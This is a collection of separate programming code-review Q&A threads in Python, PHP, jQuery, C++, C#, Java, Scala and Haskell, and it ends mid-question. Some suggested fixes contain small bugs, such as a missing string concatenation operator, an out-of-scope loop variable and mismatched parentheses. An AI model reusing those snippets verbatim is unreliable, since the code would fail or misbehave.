Simplifying if else statements in Python code snippet How can I simplify and optimize this code?

if type(variant_list) == dict:
    style_color_if(variant_list[style_colors_main], variant_list)
else:
    for variant in variant_list:
        if type(variant[style_colors_main]) == dict:
            json_key_getter(variant[style_colors_main], variant)
        else:
            for styleColors in variant[style_colors_main]:
                if type(styleColors) == dict:
                    json_key_getter(styleColors, variant)
                else:
                    for styleColor in styleColors:
                        json_key_getter(styleColor, variant)

Example of one element of variant list, variant list can have one such thing or many:

http://pastebin.com/axuvzZnh

Recursion here is going to be your friend:

def recurse_json(property, variant):
    # This is our exit condition
    if isinstance(property, dict):
        json_key_getter(property, variant)
    else:
        # Otherwise, WE NEED TO GO DEEPER!
        for item in property:
            recurse_json(item, variant)

Now all you have to do is call this function in your for loop:

# Use `isinstance` to check for types as it takes inheritance into account.
if isinstance(variant_list, dict):
    style_color_if(variant_list[style_colors_main], variant_list)
else:
    for variant in variant_list:
        try:
            recurse_json(variant[style_colors_main], variant)
        except KeyError:
            print('Property had no "{}" property'.format(style_color_main))

I had to put in the try-except blocks because in your example the first element of the list did not have the productStyleColors property (which is what I assume is in style_color_main).

The use of isinstance isn't ideal because we would typically like to use try-excepts blocks. However, because I don't know if your other functions throw any exceptions, I chose to use (as the link says) the 'less-bad option'.


Caching using phpFastCache I have a class that holds functions for caching using PHPFastCache. There are quite a few static functions in here and for each one I am declaring:

$cache = phpFastCache();

Is there a better way I can do this? It just feels wrong. Below is the full class maybe there are other changes I can do.

/**
 * Class Cache
 * Using PHPFastCache to cache data
 */
class Cache
{

    /**
     * put a data in to cache with a key, and time in minuets
     * @param $key
     * @param $value
     * @param int $minuets
     * @return mixed
     */
    public static function put($key, $value, $minuets = 1)
    {
        $cache = phpFastCache();
        return $cache->set($key, $value, $minuets * 60);
    }

    /**
     * Add value to Cache if does not already exist
     * @param $key
     * @param $value
     * @param int $minuets
     * @return bool
     */
    public static function add($key, $value, $minuets = 1)
    {
        if (self::has($key)) {
            return false;
        } else {
            self::put($key, $value, $minuets);
            return true;
        }
    }

    /**
     * Check if value is in Cache
     * @param $key
     * @return mixed
     */
    public static function has($key)
    {
        $cache = phpFastCache();
        return $cache->isExisting($key);
    }

    /**
     * Add a Key to the cache forever(25years)
     * @param $key
     * @param $value
     * @return mixed
     */
    public static function forever($key, $value)
    {
        return self::put($key, $value, 1 * 60 * 60 * 24 * 365 * 25);
    }

    /**
     * Get a value from cache and then remove from cache.
     * @param $key
     * @return bool
     */
    public static function pull($key)
    {
        $value = self::get($key);
        self::Remove($key);
        return $value;
    }

    /**
     * get value out of cache, ability to specify default if key is not in the cache
     * @param $key
     * @param bool $default
     * @return bool
     */
    public static function get($key, $default = False)
    {
        $cache = phpFastCache();
        if ($default !== false && self::has($key) === false) {
            return $default;
        } else {
            return $cache->get("$key");
        }
    }

    /**
     * remove key from cache
     * @param $key
     */
    public static function forget($key)
    {
        $cache = phpFastCache();
        $cache->delete($key);
    }

    /**
     * get information on key, such as time left in cache.
     * @param $key
     * @return mixed
     */
    public static function cacheInfo($key)
    {
        $cache = phpFastCache();
        return $cache->getInfo($key);
    }

    /**
     * remove everything from the cache
     */
    public static function clearCache()
    {
        $cache = phpFastCache();
        $cache->clean();
    }

Probably the proper way would be to pass it via constructor as this would allow you to choose which driver phpFastCache() should without interfering with your class. And thats commonly referred as dependency injection. You have to type hint on the phpFastCache() returned instance interface which is phpfastcache_driver.
This gives you two things, you can easily change underlying caching mechanism and still lock only to the instances that you know that implement methods you use in your class.

Then the constructor would look like this:

public function __construct(phpfastcache_driver $cache)
{
  $this->cache = $cache;
}

And the initialisation of the class as follows:

$myCache = new Cache(phpFastCache('files'));

or

$myCache = new Cache(phpFastCache('memcached'));

or whatever storage engine phpFastCache supports.

Edit:
I've noticed that you have static methods which do access non static property, you can not do that. Remove static from them.


jQuery button text changer script It seems it could be written shorter. It's especially annoying when I have to do this in multiple languages, so the button labels will be different.

<button id="egyes" class="btn btn-danger">Hide</button>&nbsp;some text
<button id="kettes" class="btn btn-warning">Hide</button>&nbsp;other text
<button id="harmas" class="btn btn-info">Hide</button>&nbsp;some more text
<button id="otos" class="btn btn-success">Hide</button>&nbsp;last button
<button id="showall" class="btn">Show all</button>

<script>
            $(document).ready(function() {
                $("#egyes").click( function() {
                    $("div.progress-danger").parent().fadeToggle();
                    if ($(this).html() == "Show") {
                        $(this).html("Hide");
                    } else {
                        $(this).html("Show");
                    }
                });
                $("#kettes").click( function() {
                    $("div.progress-warning").parent().fadeToggle();
                    if ($(this).html() == "Show") {
                        $(this).html("Hide");
                    } else {
                        $(this).html("Show");
                    }
                });
                $("#harmas").click( function() {
                    $("div.progress-info").parent().fadeToggle();
                    if ($(this).html() == "Show") {
                        $(this).html("Hide");
                    } else {
                        $(this).html("Show");
                    }
                });
                $("#otos").click( function() {
                    $("div.progress-success").parent().fadeToggle();
                    if ($(this).html() == "Show") {
                        $(this).html("Hide");
                    } else {
                        $(this).html("Show");
                    }
                });
                $("#showall").click( function() {
                    $("div.container > div > div.progress").parent().fadeIn();
                });
            });
</script>

if you add the parent div class into the data attributes:

<button id="egyes" class="btn btn-danger" data-parentclass="progress-danger">Hide</button>&nbsp;some text
<button id="kettes" class="btn btn-warning" data-parentclass="progress-warning">Hide</button>&nbsp;other text
<button id="harmas" class="btn btn-info" data-parentclass="progress-info">Hide</button>&nbsp;some more text
<button id="otos" class="btn btn-success" data-parentclass="progress-success">Hide</button>&nbsp;last button
<button id="showall" class="btn">Show all</button>

or add it in via javascript:

$("#egyes").data("parentclass", "progress-danger");
// etc

then the javascript can work it out itself.

$(document).ready(function() {
    $("#egyes, #kettes, #harmas, #otos").click( function() {
        var $parent = $("div." $(this).data("parentclass")).parent();

        if ($parent.is(":visible")) {
            $(this).html("Hide");
        } else {
            $(this).html("Show");
        }

        parent.fadeToggle();
    });

    $("#showall").click( function() {
        $("div.container > div > div.progress").parent().fadeIn();
    });
 });


C++ Template-Based ArrayList Implementation As part of my learning C++, I have created an ArrayList class. It shares some of its interface with the Java ArrayList, but it by no means implements anywhere close to the full set of functions an ArrayList or vector supports.

Here is my ArrayList.h:

#ifndef ARRAYLIST_ARRAYLIST_H
#define ARRAYLIST_ARRAYLIST_H

#include <initializer_list>

template<typename T>
class ArrayList{
public:
    //lifecycle
    ArrayList() : m_array(new T[0]) {}
    ArrayList(std::initializer_list<T> it);
    ~ArrayList() { delete [] m_array; }

    //copy control
    ArrayList(const ArrayList<T> &arraylist) { *this = arraylist; }
    ArrayList(const ArrayList<T> &&arraylist) { *this = arraylist; }
    ArrayList& operator=(const ArrayList<T> &arrayList);
    ArrayList& operator=(ArrayList<T> &&arrayList);

    //element access
    T& operator[](unsigned i) { return m_array[i]; }
    void add(const T &t) { resizeIfFull(); m_array[m_frontendLength++] = t; }
    void add(const T &&t) { resizeIfFull(); m_array[m_frontendLength++] = std::move(t); }

    //utilities
    unsigned length() { return m_frontendLength; }

private:
    T *m_array = nullptr;
    unsigned m_backendLength, m_frontendLength;

    void resizeIfFull();
};

#include "ArrayList.tpp"

#endif //ARRAYLIST_ARRAYLIST_H

Here is my ArrayList.tpp:

#ifndef ARRAYLIST_TPP
#define ARRAYLIST_TPP

#include "ArrayList.h"

#include <utility>

template<typename T>
ArrayList<T>::ArrayList(std::initializer_list<T> ls){
    m_array = new T[ls.size()];

    m_backendLength = ls.size();
    m_frontendLength = ls.size();

    unsigned i = 0;
    for(auto it=ls.begin();it!=ls.end();++it){
        m_array[i++] = *it;
    }
}

template<typename T>
ArrayList<T>& ArrayList<T>::operator=(const ArrayList<T> &arrayList){
  m_backendLength = arrayList.m_backendLength;
  m_frontendLength = arrayList.m_frontendLength;

  delete [] m_array;

  m_array = new T[m_backendLength];

  for(unsigned i=0;i<m_frontendLength;++i){
    m_array[i] = arrayList.m_array[i];
  }

  return *this;
}

template<typename T>
ArrayList<T>& ArrayList<T>::operator=(ArrayList<T> &&arrayList){
    m_backendLength = arrayList.m_backendLength;
    m_frontendLength = arrayList.m_frontendLength;
    m_array = arrayList.m_array;
    arrayList.m_array = nullptr;
}

template<typename T>
void ArrayList<T>::resizeIfFull(){
  if(m_backendLength == m_frontendLength){
    m_backendLength *= 2;
    T *newArray = new T[m_backendLength];

    for(unsigned i=0;i<m_frontendLength;++i){
      newArray[i] = std::move(m_array[i]);
    }

    delete [] m_array;
    m_array = newArray;
  }
}

#endif

I am hoping to get some information on things I did badly, and things I did well. I am particularly interested in: compliance with C++ convention, writing good code with regard to organization (ie. OOP, SOLID, etc.), and efficiency. I know Java much better, and I would like to know if I am bringing Java stuff in here that doesn't belong in C++.

Memory Allocation

This is a house built on sand, so to speak. Quite a bit of the house itself looks perfectly fine, but the foundation is completely rotten, so everything else is liable to fall over without notice.

The specific problem is using new [] to allocate storage. The problem with this is that it actually creates objects in the memory you allocate. If you're storing objects that are expensive to construct, this can impose unnecessary overhead. If you're storing objects that can't be default constructed...well, you're not storing those, because it just won't work.

The right (at least IMO) way to do this is to use the same strategy as vector does (at least by default). You allocate raw memory using operator new, and then construct objects in that raw memory using placement new. This means the unused part of the memory really is unused--i.e., it's just raw memory that doesn't contain any actual objects.

Naming

frontEndLength and backEndLength don't seem particularly descriptive, at least to me. Apparently they really mean something like "amount allocated" and "amount in use". If so, I'd change the names to reflect that more directly.

Exception Safety

Your assignment operator is written a lot like most of us typically wrote them in the '90s or so, before (for one example) Exceptional C++ was published. It has a number of problems. For example, if it ends up doing a self assignment:

ArrayList a;

// code that puts something into `a` goes here

a = a;

The self-assignment will often be somewhat indirect, such as passing the same collection as both the source and the destination of some function. Regardless of how it happens, it leads to a serious problem. It obviously shouldn't really do anything--but with your code, it destroys a. Nearly the first thing your operator= does is delete [] m_array;, so if the source and the destination are the same, you've just destroyed your source, and after that, everything breaks badly.

Quite a few people noticed this problem, so at one time it was pretty typical to see code that did something like this:

T &operator=(T const &r) {
    if (this == &r) // if source and dest are the same, do nothing
        return;
    // rest of the assignment goes here.
}

This fixes that particular problem, but leaves a more pernicious one. You'd typically like your assignment to either succeed entirely or fail entirely--but as it stands now, it might half-succeed, so you've lost the old contents, but gotten only part of the new contents. Worse, you aren't sure where in the copying process it was when the exception was thrown, so you don't have any way of knowing how much of the content is really valid.

One simple way of dealing with all of these is called the copy and swap idiom. It consists of creating a temporary copy of the source. Then when that's completed, you swap the destination with the temporary.

template<typename T>
ArrayList<T>& ArrayList<T>::operator=(const ArrayList<T> &arrayList){

    ArrayList<T> temp(arrayList);
    std::swap(*this, temp);
    return *this;
}

You can also shorten this a tiny bit by using the parameter as the temporary object:

template<typename T>
ArrayList<T>& ArrayList<T>::operator=(ArrayList<T> arrayList){

    std::swap(*this, arrayList);
    return *this;
}

Either way, if an exception is thrown during the copying process, the temporary is never created, and the swap never happens. The original stays exactly as it was. We normally expect (and typically enforce) that the swap can't throw any exceptions (pretty trivial in this case, because all it's doing is copying pointers and ints around).

Once that's done, the temporary gets destroyed, releasing the memory that was previously used by the destination object.

Of course, there are other ways to write an exception-safe assignment operator--this is just one that's simple, well-known and idiomatic.

Expansion factor

Right now, when you run out of space, you multiply the size by two. That's a fairly reasonable approach, but there's a theoretical argument to be made in favor of making the expansion factor less than or equal to the golden mean. I wrote a little more about it in an earlier reply.


Railway Management System Recently, our High School teacher gave us a pseudocode assignment for the preparation of CAIE's which was a Railway Management System. Everyone completed the task in pseudocode which for me was quite an inflexible program. So I tried my own code which is very much flexible than others. It took me a day to complete the code but there were some bugs and errors which took me almost another day to fix. Hence, can anyone comment on my code and my programming skills? And guide me with some improvements where necessary?
departure = ['09:00', '11:00', '13:00', '15:00'] # Timings of Train Departures
arrival = ['10:00', '12:00', '14:00', '16:00'] # Timings of Train Arrivals
depart_trains = 4
arrival_trains = 4
coaches = 6
total_seats = 80
total_passengers = [0]*len(departure)
ticket_price = 25

while departure:
    print(f"""{depart_trains} trains departing at: {departure}
{arrival_trains} trains arriving at: {arrival}
Price of Ticket/person: {ticket_price} dollars
Each Train has {coaches} coaches, each coach holding {total_seats} passengers :)
""")
    commute = input("Enter Departure time: ").strip()
    if commute in departure:
        index_train = departure.index(commute)
        print(f"""You chose Train departing at: {departure[index_train]}
""")
        run = True
        while run:
            current_passengers = int(input("How many passengers are to sit: "))
            if current_passengers <= coaches*total_seats:
                total_passengers[index_train] += current_passengers
                if total_passengers[index_train] == coaches*total_seats:
                    departure.remove(departure[index_train])
                    arrival.remove(arrival[index_train])
                    total_passengers.pop(index_train)
                    depart_trains -= 1
                    arrival_trains -= 1
                    print(f"""Your total price is: {current_passengers*ticket_price} dollars
""")
                    run = False
                elif total_passengers[index_train] < coaches*total_seats:
                    print(f"""Your total price is: {current_passengers*ticket_price} dollars
""")
                    run = False
                elif total_passengers[index_train] > coaches*total_seats:
                    total_passengers[index_train] -= current_passengers
                    print(f"""The Train departing at {departure[index_train]} has only {(coaches*total_seats)-total_passengers[index_train]} seats left :(
""")
            else:
                print(f'''Only {coaches*total_seats} seats are available in Train departing at {departure[index_train]} :(
''')
else:
    print("All Trains are reserved. Come Tomorrow :( ")

There's nothing that looks bad at a first glance. Couple observations though:

It isn't clear what happens if the time entered isn't in the departure list. Consider adding a default case, even if just to explain to the user that he has to punch in a time present in the list.

A negative number of passengers is valid according to your program, but I doubt this is intentional. Always validate user input.

An exception is thrown if I enter a string instead of a number when asked for the passenger count. See above ;)

At first read, I thought total_seats was, well, the total number of seats but it is the number of seats per coach according to the script output. You might want to clarify that or rename the variable.

You can use \n in your prints to add newlines, I'm not a fan of binding the formatting of your code to the formatting of your output. Both of these lines print the same thing:

print(f"""Your total price is: {current_passengers*ticket_price} dollars
""")
print(f"""Your total price is: {current_passengers*ticket_price} dollars \n""")

The run variable isn't as self-documenting as it could be if it was named incorrectInput or retryInput or something like that.

Take these two more as suggestions than actual issues with your code:

The fact that your timing system relies on list indexes isn't very pythonic (Explicit is better than implicit). You could use a dict to assign a unique ID to every train... But you'd need a bit more code to reproduce index_train = departure.index(commute), and I'm not a fan of doing syntax gymnastics in "exam code" so I'd say that your solution is good enough.
Another pythonic thing, "Ask forgiveness not permission": you could get rid of the check for wether commut is in departure, do index_train = departure.index(commute) right away and handle the ValueError that gets thrown if commute isn't in departures using a try except block. Your solution is already fine though (and probably less verbose).

Overall I don't see anything that doesn't work as intended, so it's already pretty solid (as long as the user isn't messing with the input like I did). If it is "exam code" I'd prioritize the formatting and documentation stuff so that your code is more readable. Readable = fast to grade, and fast to grade = less time spend analyzing and figuring out every minor issue with the code ;)


A simple program which returns specific value from array After researching for an hour regarding SOLID Principles, I tried to do it myself. Please note that most of these codes were from the ideas of others.

I created a simple program which returns specific value from array, depends on what you choose.

public interface IArrayPerformer
{
    int GetAnswer(int[]arr);
}

public class HighestNumber : IArrayPerformer
{
    public int GetAnswer(int[] arr){ //return highest number }
}

public class LowestNumber : IArrayPerformer
{
    public int GetAnswer(int[] arr) {  //return lowest number }
}

public class MiddleNumber : IArrayPerformer
{
    public int GetAnswer(int[]arr) { // return middle number }
}

public class HighestPrimeNumber : IArrayPerformer
{
    public int GetAnswer(int[] arr) { // return highest prime number }
}

public class LowestPrimeNumber : IArrayPerformer
{
    int GetAnswer(int[] arr) { // return lowest prime number }
}

Then, I created a class and enum which only purpose is to choose what action to be done in arrays..

class ActionChooser
{
    public IArrayPerformer imath(MathAction mathAction)
    {
        IArrayPerformer getMath = null;
        switch(mathAction)
        {
            case MathAction.HighestNumber:
                getMath = new HighestNumber();
                break;
            case MathAction.LowestNumber:
                getMath = new LowestNumber();
                break;
            case MathAction.MiddleNumber:
                getMath = new MiddleNumber();
                break;
            case MathAction.LowestPrimeNumber:
                getMath = new LowestPrimeNumber();
                break;
            case MathAction.HighestPrimeNumber:
                getMath = new HighestPrimeNumber();
                break;

        }

        return getMath;
    }
}

public enum MathAction
{
    LowestNumber = 1,
    HighestNumber = 2,
    MiddleNumber = 3,
    LowestPrimeNumber = 4,
    HighestPrimeNumber = 5
}

Lastly, I created a class for making it all possible..

public class Math
{
    private ActionChooser mathChooser = new ActionChooser();
    public int ReturnAnswer(MathAction mathAcs, int[]arr)
    {
        return mathChooser.imath(mathAcs).GetAnswer(arr);
    }
}

Then, I implemented it like this..

    static void Main()
    {
        int[] arr = { 10, 9, 8, 7, 6, 5, 4, 3, 2, 1 };

        //This is what I see when I am implementing .NET built-in codes
        //which is I only have to create object, use its method,
        //pass a small count of arguments, and see the output without
        //knowing the logic behind the codes. I think this is what they
        //called abstraction. Am I right? It's awesome.
        Math math = new Math();
        Console.WriteLine(math.ReturnAnswer(MathAction.LowestNumber, arr));
        Console.ReadKey();
    }

Now, my question is, am I doing it right or wrong? If i'm wrong (which is I know most probably), which part of this code is wrong. Could you explain why and suggest a better solution.

am I doing it right or wrong?

You are mostly right. This is a very common pattern but your naming is a little bit different to standard implementations. I should note that in this particular case, this is completely overkill but I'm assuming that this is a learning exercise for you and not something you are planning on using.

public interface IArrayPerformer
{
    int GetAnswer(int[]arr);
}

IArrayPerformer is a bad name because it's very general and it reveals the implementation details. The interface could be made more general by working on an IEnumerable<int> which is the more general interface for a sequence of numbers.

public interface INumberSequenceOperation
{
    int GetAnswer(IEnumerable<int> numbers);
}

Naming this is pretty tough - you'd probably need several attempts to get something good.

Your ActionChooser is normally referred to as a Factory.

public class NumberSequenceOperationFactory
{
    public INumberSequenceOperation CreateOperation(MathAction mathAction)
    {
        // ...
    }
}

I would remove your Math class entirely. It also violates the D in SOLID because it depends on your chooser directly.

static void Main()
{
    var numbers = new[] { 10, 9, 8, 7, 6, 5, 4, 3, 2, 1 };
    var factory = new NumberSequenceOperationFactory();
    var operation = factory.CreateOperation(MathAction.LowestNumber);
    var lowestNumber = operation.GetAnswer(numbers);
    Console.WriteLine(lowestNumber);
    Console.ReadKey();
}

As another answer has said while I was typing - LINQ gives you most of what you need out of the box and extension methods fit very nicely here.

Update

How does the Math class violate the dependency inversion principle?

Here is the Wikipedia definition of the dependency inversion principle (emphasis is mine):

  A. High-level modules should not depend on low-level modules. Both should depend on abstractions.
  B. Abstractions should not depend on details. Details should depend on abstractions.

Your Math class is supposed to be an abstraction but it's depending on the detail directly:

private ActionChooser mathChooser = new ActionChooser();

That ActionChooser is a detail but you're tying Math to it! It should be possible to replace that dependency with a different one if you want. The standard way of doing that is with Dependency Injection. e.g. using Constructor Injection:

// Using your names
public class Math
{
    private readonly ActionChooser chooser;

    public Math(ActionChooser chooser)
    {
        this.chooser = chooser;
    }

    public int ReturnAnswer(MathAction mathAcs, int[]arr)
    {
        return chooser.imath(mathAcs).GetAnswer(arr);
    }
}

In general, you create your entire object graph at your composition root and never create the dependencies again. You can achieve that with "Pure Dependency Injection" (my Main example) or with some kind of Inversion of Control container. There are a lot of these, e.g. StructureMap, Ninject etc.

Learning all of this can be really tough - I'd recommend Mark Seemann's fantastic PluralSight course on Encapsulation and SOLID. If you don't have access to PluralSight and don't want to pay, you can get 3 months free with Dev Essentials. After the 3 months you'll probably decide you want to pay anyway.

Are extension methods bad?

No.

Well, not when they're used properly. There are certainly trade-offs involved in using extension methods but they are extremely effective when used correctly.

Of course, this type of thing is pretty terrible IMO:

// BAD
public static bool IsNullOrWhitespace(this string source)
{
    return string.IsNullOrWhitespace(source);
}

so you can do this:

// Yuck!
string test = null;
test.IsNullOrWhitespace();

Without knowing why you currently believe that they are bad it's difficult for me to make a case for why they're not :)


Fastest way to write multiple CSV's I'm writing a program to process log files.  Currently, I have a script that will extract the desired information from each log and put it into a list - I have about nine different lists all containing different information.

Currently, I'm loading the file, extracting the desired information, and storing it in a list, finally I write the lists to a CSV.

The program roughly follows this outline.

#load data

#create lists
list1 = []
list2 = []
list3 = []
list4 = []
list5 = []

#extract information to populate lists.

#write CSV's
with open('output1.csv', 'wb') as csvfile:
        writer = csv.writer(out)
    for line in list1:
        writer.writerow(line)

with open('output2.csv', 'wb') as csvfile:
    writer = csv.writer(out)
    for line in list2:
        writer.writerow(line)

with open('output3.csv', 'wb') as csvfile:
    writer = csv.writer(out)
    for line in list3:
        writer.writerow(line)

with open('output4.csv', 'wb') as csvfile:
    writer = csv.writer(out)
    for line in list4:
        writer.writerow(line)

with open('output5.csv', 'wb') as csvfile:
    writer = csv.writer(out)
    for line in list5:
        writer.writerow(line)

with open('output6.csv', 'wb') as csvfile:
    writer = csv.writer(out)
    for line in list6:
        writer.writerow(line)

I'm wondering if there is a better/faster way to do this.  Considering these lists can get pretty large. I feel like it might be quicker/faster to load the data and immediately write is to a file as it gets processed.  Thoughts?

Are you more worried about memory, speed or maintainability?   if the lists are long enough that you worry about them filling up your available memory, write them out one at a time. If not, process them in bulk.

in either case, a list-of-lists is better than maintaining 6 copies of identical code.  You could use a dictionary to store the different lists with their output filenames and avoid the duplication:

 lots_o_data = {
     'list1': [.....],
     'list2': [.....],
     'list3': [.....]
 }

 for eachfilename, eachlist in lots_o_data.items():
     with open(eachfilename, 'wb') as csvfile:
          writer = csv.writer(csvfile)
          for line in eachlist:
              writer.writerow(line)

If the data is interleaved - stuff from different ouput lists comes up intermingled - you have to collect it all before writing. If it's sequential you can do it read A - write A - read B - write B style. Ordinarily the total time won't change much - reading and writing the data will be way slower than whatever you do in the processing.

One thing you don't want to do is open the same source file multiple times if you don't have to - that will add extra time. Only do that if you're worried about memory.


Whether or not to name Boolean parameters in Scala def execute(parameterName : scala.Boolean = { /* compiled code */ })

When calling this method, you can go with

someobject.execute(true)

or

someobject.execute(parameterName = true)

If you use the former, IntelliJ pops up a recommendation stating that Boolean arguments should be named. But doesn't this introduce an unnecessary dependency on the name of the parameter? Essentially the name of the parameter becomes part of the interface.

If I then change the name of parameterName in execute() to something else, I potentially break a lot of code that is using the execute method.

I understand that it improves readability a bit (you can look at the code and see which Boolean is being set to true without having to look at the called method). But is it enough of an advantage?

Personally, I think it's a reasonable suggestion.

If you change the parameter name in a way that changes its meaning, it's a good thing that the code using the old name doesn't compile anymore.
If you change the parameter name, keep the meaning the same and all your code is in the same solution, then your IDE should be able to rename all usages at the same time.
If you change the parameter name, keep the meaning the same, but your code is not all in the same solution (e.g. when you're writing a library used by third parties), then somebody could be using this practice, no matter what you use. So, the name is already part of the interface, no matter what you use.

There is a middle ground where all your code is not in the same solution, but you have control over all of it (e.g. by specifying coding guidelines for your company). In this case, you might decide that it's an unnecessary dependency. But in all the other cases, I think that using named parameter often makes sense.


Python disk caching with index My task is that of caching. If the folder exists then load the cache from disk, if it doesnt create new cache. This is trivial, what bothers me is if I want to create third mode of noop (don't do anything relating to cache).

Currently I have this:

class HeavyCalculationClass:
    def __init__(self, cache_dir=None)
        self.use_cache = cache_dir is not None
        if self.use_cache:
            if os.path.exists(cache_dir):
                if len(os.listdir(cache_dir) != 0:
                    self.cache_type = "write"
                else:
                    self.cache_type = "read"
            else:
                os.mkdir(cache_dir)
                self.cache_type = "write"

    def __getitem__(self, idx):
        if self.use_cache and self.cache_type=="read":
            data = numpy.load(os.path.join(cache_dir, str(idx)+".npy"))
        else:
            data = very_heavy_calculation()

        if self.use_cache and self.cache_type == "write":
            numpy.save(os.path.join(cache_dir, str(idx)+".npy"), data)
        return data

Is there any way to write this in a more elegant form?

I don't know what you mean by "more elegant", but I would recommend using pathlib.  This class provides for caching to be enabled/disabled for all files.  If the class is not initialized with a cache_dir, then caching is disabled.  If a cache_dir is provided, then __getitem__() loads data from cached files, if they exist.  Otherwise the data is calculated and cached.

class HeavyCalculationClass:
    def __init__(self, cache_dir=None):
        # sets the path to the cache directory if it was specified
        # and creates the cache directory if needed
        if cache_dir:
            self.cache = pathlib.Path(cache_dir)

            if not self.cache.is_dir():
                self.cache.mkdir()

        else:
            # empty cache path means ignore the cache
            self.cache = None

    def __getitem__(self, idx):
        # if caching is 'on' and this file is cached,
        # then load it
        if self.cache:
            cache_file = self.cache / f"{idx}.npy"

            if cache_file.is_file():
                data = numpy.load(cache_file))
                return data

        # otherwise calculate the data
        data = very_heavy_calculation()

        # cache the data if a cache path is set
        if self.cache:
            numpy.save(self.cache / f"{idx}.npy"), data)

        return data


Shorter way of prompting for a height of x feet y inches? I'm currently working on a BMI calculator and just wondered if there was a shorter or more condensed version of doing the if validating statement.

I have currently done it this way for both Height and Weight, but I find it to be a mess and it seems to cluttered. There must be a way of shortening this down or condensing it.

boolean Hresult = false;
int resulth = 0;
while(Hresult == false) {

    System.out.print("\nPlease enter your feet: ");
    int heightft = scanner.nextInt();

    if (heightft >=2 && heightft <=7 ){
        System.out.println("You entered: " + heightft);
        Hresult = true;
    }
    else {
           System.out.println("Please try again");
           Hresult = false;
    }
    System.out.print("Please enter your inches: ");
    int heightin = scanner.nextInt();

    if (heightin >=0 && heightin <=11 ){
        System.out.println("You entered: " + heightin);
        Hresult = true;
    }
    else {
        System.out.println("Please try again");
        Hresult = false;
    }
    int resultin = (heightft * 12);
    resulth = (resultin + heightin);
}
return resulth;

The short answer is: Yes, there are ways to improve it!

Coding conventions

First of all, you are not following some Java coding conventions of indentation and where to put }-characters and similar.

Error messages

"Please try again" is not a message that really describes what went wrong. If I would see that message my first reaction would be to try to enter the exact same value again, which would just give me the same error message.

What your code does

Your code is essentially divided into two parts. The first part is:

    System.out.print("\nPlease enter your feet: ");
    int heightft = scanner.nextInt();

    if (heightft >= 2 && heightft <= 7) {
        System.out.println("You entered: " + heightft);
        Hresult = true;
    }
    else {
        System.out.println("Please try again");
        Hresult = false;
    }

Second part:

    System.out.print("Please enter your inches: ");
    int heightin = scanner.nextInt();

    if (heightin >= 0 && heightin <= 11) {
        System.out.println("You entered: " + heightin);
        Hresult = true;
    }
    else {
        System.out.println("Please try again");
        Hresult = false;
    }

Hresult in the first part of the code essentially has no effect because it will be overwritten by Hresult in the second part.

Now let's see what the common areas of this code are:

Show a message
Read an int from the Scanner
Check the range of the entered value
Show what you entered
Return whether or not the result was successful.

This could become it's own method.

public static int inputWithExpectedRange(String message, int min, int max) {
    do {
        System.out.print(message);
        int value = scanner.nextInt();

        if (value >= min && value <= max) {
            System.out.println("You entered: " + value);
        }
        else {
            System.out.println("Expected a value between " + min + " and " + max + ". Please try again");
        }
    }
    while (value < min || value > max);
    return value;
}

Now what you can do is to call this method twice from your previously existing method. It is also likely that you will find use for that method when the user should enter his/her weight.

System.out.println(); // this will print a line break *before* entering the input-method.
int feet = inputWithExpectedRange("Please enter your feet: ", 2, 7);
int inches = inputWithExpectedRange("Please enter your inches: ", 0, 11));
return feet * 12 + inches;

Violà.

An entirely different approach

As mentioned in the comments to your question, you can also use Regular Expressions to verify input and parse it. Here is a brief example of how to use Regular Expressions to input this. I will let you work on the details for it (such as making sure feet and inches are in the proper ranges). And you probably also want it inside some kind of loop (either while or do-while) to make sure that the user enters acceptable values.

    String input = scanner.nextLine();
    String regex = "(\\d+)'(\\d+)\"";
    Pattern pattern = Pattern.compile(regex);
    Matcher matcher = pattern.matcher(input);
    if (!matcher.find()) {
        System.out.println("Input was not in normal feet and inch format");
    }
    int feet = Integer.parseInt(matcher.group(1));
    int inches = Integer.parseInt(matcher.group(2));

If you enter 5'11" the variable feet will be 5 and inches will be 11.


Read HTTP header from TCP socket I'm growing a web server in Haskell that interfaces with TCP sockets using network. To read the HTTP header of the client's message, I use the following function:

import           Network.Socket          hiding ( recv )
import           Network.Socket.ByteString      ( recv )

import qualified Data.ByteString               as S
import           Data.ByteString.UTF8          as BSU ( fromString )

readHeader :: Socket -> IO S.ByteString
readHeader sock = go sock mempty
where
  go sock prevContent = do
    newContent <- recv sock maxNumberOfBytesToReceive
    let content = prevContent <> newContent
    -- Read the data from the socket unless it's empty which means
    -- that the client has closed its socket or we see an empty line
    -- which marks the end of the HTTP header
    if S.null newContent || emptyLine `S.isSuffixOf` content
      then return content
      else go sock content
  where
    -- Only read one byte at a time to avoid reading further than the
    -- empty line separating the HTTP header from the HTTP body
    maxNumberOfBytesToReceive = 1
    emptyLine                 = BSU.fromString "\r\n\r\n"

The function only reads a byte at a time since I want to be able to read the rest of the client's message from the socket afterwards. But I'm curious whether the function could be more efficient.

My first idea was to read more bytes (say 1024) from the socket, check if those bytes contain an empty line, save that part (the HTTP header) in a ByteString and put the bytes after the empty line back into the socket's buffer. But I'm not sure whether it's possible or wise to put data back into the socket's buffer.

I'm also interested in any other code improvements that come to your mind.

The whole project is here.

Start it with stack ghci and then run main. Send it an HTTP request with curl http://localhost:8080/

Perhaps you could wrap bare Sockets in an auxiliary datatype that enabled buffering. Something like:

data BufferedSocket = BufferedSocket [ByteString] Socket

Then you could define your own recv function like

recv :: BufferedSocket -> Int -> IO (BufferedSocket,ByteString)

which looked at the buffer before actually trying to read data from the socket. Note that this version of recv returns a modified copy of the BufferedSocket, because now we carry some state that isn't captured in the mutable Socket reference.

(Perhaps this extra buffer state should be put in a separate mutable reference, an IORef for example. We are already in mutable-land after all.)

We also need a function

putBack :: ByteString -> BufferedSocket -> BufferedSocket

for prepending the data.

Another option could consist in using a streaming library like streaming or streaming-bytestring and build a Stream of ByteStrings out of the Socket. Prepending would consist simply in concatenating a pure Stream that yields the ByteString to the effectful stream that reads from the socket, using >> or *>.

let socketStream' = S.yield someByteStringValue *> socketStream

Note that the old socketStream value should not be reused!

This might have the disadvantage that you lose some control about how many bytes to "physically" read at each step, because typical Streams don't take "feedback" from downstream about the number of bytes to receive next.


Updating a stats bar on a page I'm updating a stats bar on the page after a user action. The code works, but as you can see, it's very messy.

Is there a shorter way of writing this function? Seems like a complete mess. I thought about using $.each a couple times to cycle through, but since I need to compare values from the first two array keys in the multi-dimensional array, it makes things much more complicated.

Here's an example of the post object data:

{
    {team_avg: {overdue: 1, in_review: 2, in_progress: 1, assigned: 1}}
    {user: {assigned: 5, overdue: 3, in_review: 4, in_progress: 1}
}

Here's my current (mess) for the $.post callback:

